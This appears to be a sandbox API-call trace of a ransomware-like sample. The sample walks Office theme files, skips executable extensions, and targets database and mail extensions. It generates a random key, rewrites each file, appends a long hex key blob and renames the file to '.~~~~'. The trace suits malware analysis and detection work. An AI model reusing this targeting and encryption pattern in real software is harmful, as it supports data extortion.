	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.032] lstrlenW (lpString=".dbs") returned 4
	[0084.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.032] lstrlenW (lpString=".vhdx") returned 5
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.033] lstrlenW (lpString=".NDF") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.033] lstrlenW (lpString=".dat") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.033] lstrlenW (lpString=".DBS") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.033] lstrlenW (lpString=".CKP") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.033] lstrlenW (lpString=".edb") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.033] lstrlenW (lpString=".PST") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.033] lstrlenW (lpString=".dbf") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.033] lstrlenW (lpString=".SQL") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.033] lstrlenW (lpString=".pst") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.033] lstrlenW (lpString=".dbv") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.033] lstrlenW (lpString=".SDF") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.033] lstrlenW (lpString=".dtxs") returned 5
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.033] lstrlenW (lpString=".db3") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.033] lstrlenW (lpString=".OST") returned 4
	[0084.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.034] lstrlenW (lpString=".dbx") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.034] lstrlenW (lpString=".DB3") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.034] lstrlenW (lpString=".DAT") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.034] lstrlenW (lpString=".VHDX") returned 5
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.034] lstrlenW (lpString=".ndf") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.034] lstrlenW (lpString=".DB") returned 3
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.034] lstrlenW (lpString=".sql") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.034] lstrlenW (lpString=".MYD") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.034] lstrlenW (lpString=".DBT") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.034] lstrlenW (lpString=".ACCDB") returned 6
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.034] lstrlenW (lpString=".fdb") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.034] lstrlenW (lpString=".bak") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.034] lstrlenW (lpString=".myd") returned 4
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.034] lstrlenW (lpString=".DTXS") returned 5
	[0084.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.034] lstrlenW (lpString=".ckp") returned 4
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.035] lstrlenW (lpString=".dbt") returned 4
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.035] lstrlenW (lpString=".db") returned 3
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.035] lstrlenW (lpString=".TXT") returned 4
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.035] lstrlenW (lpString=".MDF") returned 4
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.035] lstrlenW (lpString=".bdb") returned 4
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.035] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.035] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.036] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.036] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.036] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20402660298) returned 1
	[0084.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bec6950, dwHighDateTime=0x1d60e1e)) 
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a24b8
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a24b8 | out: hHeap=0x300000) returned 1
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0084.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0084.037] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.037] GetLastError () returned 0x0
	[0084.037] GetLastError () returned 0x0
	[0084.037] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.037] GetLastError () returned 0x0
	[0084.038] GetLastError () returned 0x0
	[0084.040] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffaf9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.040] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x507, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x507, lpOverlapped=0x0) returned 1
	[0084.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0084.040] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.040] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.040] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.040] CloseHandle (hObject=0x120) returned 1
	[0084.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ba0
	[0084.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.~~~~")) returned 1
	[0084.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ba0 | out: hHeap=0x300000) returned 1
	[0084.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.042] GetLastError () returned 0x0
	[0084.042] RtlWakeConditionVariable () returned 0x365f70
	[0084.042] GetCurrentThreadId () returned 0x3a4
	[0084.042] GetCurrentThreadId () returned 0x3a4
	[0084.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0084.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6d10 | out: hHeap=0x300000) returned 1
	[0084.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a24f0 | out: hHeap=0x300000) returned 1
	[0084.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6d10
	[0084.043] lstrlenW (lpString=".scr") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.043] lstrlenW (lpString=".cmd") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.043] lstrlenW (lpString=".dll") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.043] lstrlenW (lpString=".bat") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.043] lstrlenW (lpString=".cpl") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.043] lstrlenW (lpString=".sys") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.043] lstrlenW (lpString=".msc") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.043] lstrlenW (lpString=".com") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.043] lstrlenW (lpString=".lnk") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.043] lstrlenW (lpString=".msp") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.043] lstrlenW (lpString=".pif") returned 4
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.043] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.044] lstrlenW (lpString=".sqb") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.044] lstrlenW (lpString=".ost") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.044] lstrlenW (lpString=".txt") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.044] lstrlenW (lpString=".mdt") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.044] lstrlenW (lpString=".BDB") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.044] lstrlenW (lpString=".eql") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.044] lstrlenW (lpString=".DBF") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.044] lstrlenW (lpString=".EQL") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.044] lstrlenW (lpString=".FDB") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.044] lstrlenW (lpString=".EDB") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.044] lstrlenW (lpString=".DACPAC") returned 7
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.044] lstrlenW (lpString=".VHD") returned 4
	[0084.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.045] lstrlenW (lpString=".DBV") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.045] lstrlenW (lpString=".dacpac") returned 7
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.045] lstrlenW (lpString=".sdf") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.045] lstrlenW (lpString=".accdb") returned 6
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.045] lstrlenW (lpString=".DBX") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.045] lstrlenW (lpString=".MDT") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.045] lstrlenW (lpString=".SQB") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.045] lstrlenW (lpString=".vhd") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.045] lstrlenW (lpString=".bac") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.045] lstrlenW (lpString=".mdf") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.045] lstrlenW (lpString=".BAK") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.045] lstrlenW (lpString=".BAC") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.045] lstrlenW (lpString=".dbs") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.045] lstrlenW (lpString=".vhdx") returned 5
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.045] lstrlenW (lpString=".NDF") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.045] lstrlenW (lpString=".dat") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.045] lstrlenW (lpString=".DBS") returned 4
	[0084.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.045] lstrlenW (lpString=".CKP") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.046] lstrlenW (lpString=".edb") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.046] lstrlenW (lpString=".PST") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.046] lstrlenW (lpString=".dbf") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.046] lstrlenW (lpString=".SQL") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.046] lstrlenW (lpString=".pst") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.046] lstrlenW (lpString=".dbv") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.046] lstrlenW (lpString=".SDF") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.046] lstrlenW (lpString=".dtxs") returned 5
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.046] lstrlenW (lpString=".db3") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.046] lstrlenW (lpString=".OST") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
